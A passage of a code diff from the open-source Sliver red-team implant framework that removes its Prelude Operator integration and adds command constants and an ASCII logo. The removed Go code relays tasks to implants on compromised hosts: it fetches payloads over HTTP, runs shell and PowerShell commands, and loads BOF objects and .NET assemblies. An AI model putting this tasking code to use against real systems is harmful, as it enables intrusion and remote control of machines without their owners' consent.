||||
}
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -311,16 +295,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
|
||||
@@ -984,5 +958,53 @@ var asciiLogos = []string{
|
||||
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
||||
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
||||
` + "`------'`------'`------'`------'`------'`------'" + `
|
||||
` + Normal,
|
||||
|
||||
Purple + `
|
||||
****@@ @@****
|
||||
@@@@@@***@ @***@@@@@@
|
||||
@%%@@@%%#***@ @***#%%@@@%%@
|
||||
%%%%%##%%%%****@ @****%%%%##%%%%%
|
||||
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
|
||||
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
|
||||
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
|
||||
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
|
||||
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
|
||||
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
|
||||
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
|
||||
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
|
||||
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
|
||||
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
|
||||
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
|
||||
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
|
||||
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
|
||||
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
|
||||
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
|
||||
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
|
||||
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
|
||||
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
|
||||
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
|
||||
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
|
||||
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
|
||||
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
|
||||
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
|
||||
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
|
||||
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
|
||||
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
|
||||
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
|
||||
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
|
||||
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
|
||||
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
|
||||
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
|
||||
@%%%% %@@@@@@@@@@@@@ %%%%@
|
||||
@@ @::@@@@@@@@@@::@ @@
|
||||
-::::::@@@@:::::::
|
||||
*-----========-----+
|
||||
@###%%%@@@@%%%###@
|
||||
@%%%%%%@
|
||||
` + Normal,
|
||||
}
|
||||
@@ -145,6 +145,7 @@ const (
|
||||
TrafficEncodersStr = "traffic-encoders"
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
ExportC2ProfileStr = "export"
|
||||
|
||||
// Generic.
|
||||
|
||||
@@ -161,6 +162,11 @@ const (
|
||||
TablesStr = "tables"
|
||||
DetailsStr = "details"
|
||||
GraphStr = "graph"
|
||||
EnableStr = "enable"
|
||||
DisableStr = "disable"
|
||||
ModifyStr = "modify"
|
||||
RefreshStr = "refresh"
|
||||
ResetStr = "reset"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -286,9 +292,8 @@ const (
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
GetPrivsStr = "getprivs"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -1,175 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
coffLoaderName = "coff-loader"
|
||||
loaderEntryPoint = "LoadAndRun"
|
||||
bofEntryPoint = "go"
|
||||
)
|
||||
|
||||
type bofArgs struct {
|
||||
ArgType string `json:"type"`
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
bofArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
}
|
||||
case "string":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddString(v)
|
||||
}
|
||||
case "wstring":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddWString(v)
|
||||
}
|
||||
case "short":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddShort(uint16(v))
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
extArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
parsedArgs, err := bofArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddString(bofEntryPoint)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(bof)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
extArgsBuffer, err := extArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
return errors.New(resp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, ext := range extList.Names {
|
||||
if ext == coffLoaderName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,206 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,161 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
const (
|
||||
ErrorExitStatus = -1
|
||||
SuccessExitStatus = 0
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
